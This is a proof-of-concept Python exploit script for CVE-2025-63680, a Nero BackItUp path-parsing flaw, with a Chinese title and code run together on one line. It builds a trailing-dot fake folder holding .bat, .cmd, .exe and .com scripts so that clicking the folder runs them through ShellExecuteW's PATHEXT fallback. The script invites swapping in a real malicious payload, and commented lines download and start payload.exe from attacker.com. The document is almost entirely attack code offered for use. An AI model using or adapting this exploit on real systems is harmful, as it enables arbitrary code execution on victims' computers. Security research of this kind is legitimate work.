CVE-2025-63680: Nero BackItUp 路径解析缺陷导致远程代码执行

# PoC for CVE-2025-63680 - Nero BackItUp Path Traversal RCE # Author: Security Researcher # Target: Nero BackItUp 2019-2025 import os import shutil def create_exploit_folder(base_name="Backup"): """ Create trailing-dot folder with malicious script inside. This exploits ShellExecuteW PATHEXT fallback behavior. """ # Create folder with trailing dot (becomes file in Windows) folder_path = os.path.join(os.getcwd(), f"{base_name}.") # Remove if exists if os.path.exists(folder_path): if os.path.isfile(folder_path): os.remove(folder_path) else: shutil.rmtree(folder_path) # Create as directory first os.makedirs(folder_path, exist_ok=True) # Create malicious script with same base name script_content = '''@echo off rem CVE-2025-63680 PoC - Arbitrary Code Execution rem This script executes when user clicks the fake folder rem Replace with actual malicious payload echo [+] CVE-2025-63680 Exploit Triggered > poc_triggered.txt whoami >> poc_triggered.txt date /t >> poc_triggered.txt time /t >> poc_triggered.txt rem Example: Download and execute payload rem curl -o payload.exe http://attacker.com/payload.exe rem start payload.exe ''' # Try multiple extensions for PATHEXT fallback for ext in ['.bat', '.cmd', '.exe', '.com']: script_path = os.path.join(folder_path, f"{base_name}{ext}") try: with open(script_path, 'w') as f: f.write(script_content) print(f"[+] Created: {script_path}") except Exception as e: print(f"[-] Failed to create {script_path}: {e}") print(f"\n[+] Exploit folder created: {folder_path}") print("[+] When Nero BackItUp displays this as folder and user clicks it,") print("[+] ShellExecuteW will execute the script via PATHEXT fallback") if __name__ == "__main__": create_exploit_folder()